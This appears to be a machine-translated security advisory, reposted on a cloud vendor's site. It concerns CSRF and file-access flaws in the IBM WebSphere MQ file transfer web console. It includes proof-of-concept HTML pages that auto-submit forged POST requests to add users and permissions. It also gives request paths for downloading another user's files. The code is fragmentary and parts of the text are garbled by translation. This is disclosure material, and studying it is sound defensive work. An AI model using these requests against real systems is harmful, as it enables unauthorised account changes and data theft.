Multiple security vulnerabilities in the IBM WebSphere MQ 'web gateway' component

Last Update:2014-06-13 Source: Internet

Author: User

Tags file url csrf attack

Developer on Alibaba Coud: Build your first app with APIs, SDKs, and tutorials on the Alibaba Cloud. Read more ＞

Release date:
Updated on:

Affected Systems:
IBM WebSphere MQ 7.x
Description:
--------------------------------------------------------------------------------
Bugtraq id: 54983
Cve id: CVE-2012-3294, CVE-2012-2206

IBM WebSphere MQ is used to provide message transmission services in enterprises.

IBM WebSphere MQ has two security vulnerabilities that can be exploited by malicious users to bypass certain security restrictions and perform cross-site request forgery attacks.

1) applications allow users to perform certain operations through HTTP requests without verifying these requests. After logging on to a malicious website, users can edit the user space or change the file space permissions. This vulnerability exists in File Transfer Edition v7.0.3, 7.0.4, Managed File Transfer v7.5.0, and other versions.

2) if an error occurs because the application does not have the access permission verification, other user files can be downloaded. Successful exploitation of this vulnerability requires a File URL. This vulnerability exists in File Transfer Edition v7.0.3, 7.0.4, and other versions.

<* Source: Nir valman

Link: http://www-01.ibm.com/support/docview.wss? Uid = swg21607481
Http://secunia.com/advisories/50225/
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

The following test method is provided:

* Exploit Details :*
* 1. CSRF To add user and define his quota on a userspace *
I created the following HTML page and then opened it by a logged-on user:

<Html>

<Head>

<Body>

<Form id = "frm" method = "post"
Action = "https://www.example.com/wmqfteconsole/Filespaces"

</Form>

Document. frm. submit ();

</Script>

</Body>
</Html>
See the following screenshot, which follows the execution of CSRF attack:
[Image: Inline image 1]

* 2. CSRF to add permissions on file spaces :*
I created the following HTML page and then opened it by a logged-on user:

<Html>

<Head>

<Body>

<Form id = "frm" method = "post"
Action = "https://www.example.com
/Wmqfteconsole/FileSpacePermisssions"

</Form>

Document. frm. submit ();

</Script>

</Body>
</Html>

* 2. CSRF to add MQMD user id :*
I created the following HTML page and then opened it by a logged-on user:

<Html>

<Head>

<Body>

<Form id = "frm" method = "post"
Action = "https://www.example.com/wmqfteconsole/UploadUsers"

</Form>

Document. frm. submit ();

</Script>

</Body>

Details :*
* 1. Privilege escalation to view other user's files and filespace *
I logged on using user "user2" (non-administrative account
With download \ upload files permissions only) and then sent a GET request
The following URL:
/Transfer /? Start = 0 & count = 10 & metadata = fteSampleSUSEr = user1
As a result, the response has Ded the data of "user1 ".

* 2. Privilege escalation to download user's files *
In order to execute the attack, the malicious user shoshould know the file
Name and the related ID before executing the attack.
In this scenario, The malicious user is "user2" and the attacked user is
"User1 ".
If "user2" knows the url to file of "user1", then he can access this file,
E.g. "user2" is able to access the following URL using a GET request:
/Filespace/user1
/414d512057514d5420202020202020eb3bfc4f2030df02/changedthisfilename.txt

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

IBM
---
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.ers.ibm.com/

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

Get Started for Free

Sales Support

1 on 1 presale consultation

Chat Contact Sales
After-Sales Support

24/7 Technical Support 6 Free Tickets per Quarter Faster Response

Open a Ticket
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.

Learn More